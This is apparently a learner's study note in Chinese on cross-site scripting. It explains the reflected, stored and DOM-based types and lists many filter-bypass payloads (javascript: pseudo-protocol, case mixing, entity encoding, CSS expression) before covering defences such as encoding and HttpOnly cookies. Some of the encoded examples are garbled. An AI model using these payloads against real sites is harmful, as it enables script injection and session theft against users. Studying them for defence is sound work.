参考:
XSS跨站脚本攻击原理及代码攻防演示(一)(很大一部分从他那来的,如侵立删)
XSS跨站总结
什么是XSS攻击,XSS有几种类型
XSS篇——XSS过滤绕过技巧
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
(或者说是XSS原理)HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始。当动态页面中插入的内容含有这些特殊字符时,正好你要访问的服务器并没有对用户的输入进行安全方面的验证,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。
反射型 XSS 一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。
对于访问者而言是一次性的,具体表现在我们把我们的恶意脚本通过 URL 的方式传递给了服务器,而服务器则只是不加处理的把脚本“反射”回访问者的浏览器而使访问者的浏览器执行相应的脚本。反射型 XSS 的触发有后端的参与,要避免反射性 XSS,必须需要后端的协调,后端解析前端的数据时首先做相关的字串检测和转义处理。
此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。
攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这就意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此储存型XSS的危害会更大。
存储型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。
客户端的脚本程序可以动态地检查和修改页面内容,而不依赖于服务器端的数据。基于DOM的XSS,也就是web server不参与,仅仅涉及到浏览器的XSS。比如根据用户的例如客户端如从 URL 中提取数据并在本地执行,如果用户在客户端输入的数据包含了恶意的 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到 DOM-based XSS 攻击。需要特别注意以下的用户输入源 document.URL、 location.hash、 location.search、 document.referrer 等。
在没有对"<>"和script等进行过滤的前提下, 通过
<script>alert(1)</script>
看到某个搜索框的js代码是这样一行:
<a href="/?search=xxxxx">暂无搜索结果</a>
搜素内容是在<a>标签内的
就可以构造语句:
"><script>alert(1)</script>
来进行关闭<a>标签.
JavaScript中的伪协议声明了URL的主体是任意的JavaScript代码,它由JavaScript的解释器运行
很多HTML标记中的属性都支持javascript:[code]伪协议的形式,这就给了注入XSS可乘之机.
<table background="javascript:alert(1)"></table>
<img src="javascript:alert(1)">
这里即便对传入的参数过滤了<>,XSS还是能发生(前提是该标签属性需要引用文件)
假设过滤函数进一步又过滤了javascript等敏感字符串,只需对javascript进行小小的操作即可绕过,例如:
<img src= "java script:alert(‘xss‘);" width=100>
这得益于JS自身的性质:Javascript通常以分号结尾,如果解析引擎能确定一个语句时完整的,且行尾有换行符,则分号可省略
而如果不是完整的语句,javascript则会继续处理,直到语句完整结束或分号。
过滤严谨的函数很可能对标签也进行了严格的控制,但是如果用其他形式表示标签,脚本仍能解析却可以绕过过滤.
<img src="javascript:alert('xss');">
替换成:
<img src="javascript:alert('xss');">
其中,t的ASCII码值为116,用”t”表示,:则表示:。
可以再进一步替换:
<img src="javascript:alert('xss');">
如果不能依靠属性进行跨站,那么还可以利用事件处理函数如click,mouseover,load等.
W3C(万维网联盟)将事件分为3种不同的类别:
<input type="button" value="click me" onclick="alert('xss')" />
<img src="#" onerror=alert(/xss/)>
一个正常的XSS输入:
<img src="javascript:alert(0);">
转换大小写后的XSS:
<IMG SRC="javascript:alert(0);">
大小写混淆的XSS:
<iMg sRC="JaVasCript:alert(0);">
不用双引号,而是使用单引号的XSS:
<img src='javascript:alert(0);'>
不适用引号的XSS:
<img src=javascript:alert(0);>
不需要空格的XSS:
<img/src="javascript:alert('xss');">
构造不同的全角字符:
<div style="{left:expression(alert('xss'))">
利用注释符
<div style="wid/**/th:expre/*xss*/ssion(alert('xss'));">
\和\0–
<style>
@imp\0ort 'java\0scri\pt:alert(/xss/)';
</style>
<style>
@imp\ort 'ja\0va\00sc\000ri\0000pt:alert(/xss/)';
</style>
CSS关键字转码
<div style="xss:\65xpression(alert('XSS'));">
<div style="xss:\065xpression(alert('XSS'));">
<div style="xss:\0065xpression(alert('XSS'));">
<!--<img src="-->>
<comment><img src=">
<style><img src=“</style><img src=x onerror=alert(1)//”>
原始语句:
<img src="javascript:alert('xss');">
十进制编码
<img
src="javascript:a&
#108ert('xss');">
<img
src="javascrip&#
0116;:alert('x&#
0115;s');">
<img
src="javasc
4ipt:ale&
#0000114t('xss�
0039);">
十六进制编码
<img
src="javascript:&#
x61lert('xss');">
CSS的expression是在IE5版本之后支持使用的,用来把CSS属性和Javascript脚本关联起来.(这里的CSS属性可以是元素固有的属性,也可以是自定义属性。)
CSS属性后面可以是一段Javascript表达式,CSS属性的值等于Javascript表达式计算的结果。
在表达式中可以直接引用元素自身的属性和方法,也可以使用其他浏览器对象。这个表达式就好像是在这个元素的一个成员函数中一样。
<div style="background-image:url(javascript:alert('xss'))">
<style>
body {background-image:url("javascript:alert(/xss/)");}
</style>
<div style="width:expression(alert('XSS'));">
<img src="#" style="xss:expression(alert(/xss/));">
<style>
body {background-image: expression(alert("xss"));}
</style>
<div style="list-style-image:url(javascript:alert('XSS'));">
<div style="background-image:url(javascript:alert('XSS'));">
<img src=" javascript:alert('xss')">
<style>
@import 'javascript:alert(/xss/)';
</style>
其他恶意攻击包括黑盒攻击测试、源代码审计、Flash XSS等.
其中Flash XSS漏洞中Flash中编程使用的是ActionScript脚本,Flash产生的xss问题主要有两种方式:加载第三方资源和与javascript通信引发XSS。
这些以后有机会再了解.
输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当的内容提交,阻止或者忽略除此外的其他任何数据。如下代码,检查用户输入的电话号码是否真确(数字、字母检测)。
大多数的Web应用程序都存在一个通病,就是会把用户输入的信息完完整整的输出在页面中,这样很容易便会产生一个XSS。HTML编码在防止XSS攻击上起到很大的作用,它主要是用对应的HTML实体编号替代字面量字符,这样做可以确保浏览器安全处理可能存在恶意字符,将其当做HTMl文档的内容而非结构加以处理。
黑名单:
过滤可能造成危害的符号及标签,发现使用者输入参数的值为 < script>xxx< /script> 就将其取代为空白。其优点是可以允许开发某些特殊HTML标签,确实是可能因过滤不干净而使攻击者绕过规则。
白名单:
白名单仅允许执行特定格式的语法,仅允许< img scr=“http://xxx” > 格式,其余格式一律取代为空白。其优点是可允许特定输入格式的HTML标签,确实是验证程序编写难度校高,且用户可输入变化减少。
由于只保留文字部分是一劳永逸的,有时我们还需要展示这个标签,比如说程序论坛当中要贴一个代码,这个时候我们需要用一些转义,它会把这个大括号、小括号以及双引号做一个转义,做为一个字符,就无法执行这个标签型,后面加一个参数,但有时候单引号也会造成XSS。
如果在服务器端对 Cookie 设置了HttpOnly 属性,那么js脚本就不能读取到cookie,但是浏览器还是能够正常使用cookie。
一般的Cookie都是从document对象中获得的,现在浏览器在设置 Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的document对象中就看不到Cookie了,而浏览器在浏览的时候不受任何影响,因为Cookie会被放在浏览器头中发送出去(包括ajax的时 候),应用程序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的Cookie我们采用HttpOnly,对于一些需要在应用程序中用js操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了应用。
转自 Java EE 6.0 的 Cookie 类已经有设置 HttpOnly 的方法
XSS(跨脚本攻击)是Web程序中常见漏洞,其主要攻击手段是在利用网站上的可由用户信息的地方,恶意注入含有攻击性的脚本,达到攻击网站或者窃取用户cookie等隐私信息的目的.
XSS漏洞测试流程:
学了一周的XSS就看了点这些,主要是对于我来说太多知识点了,有些概念太陌生了.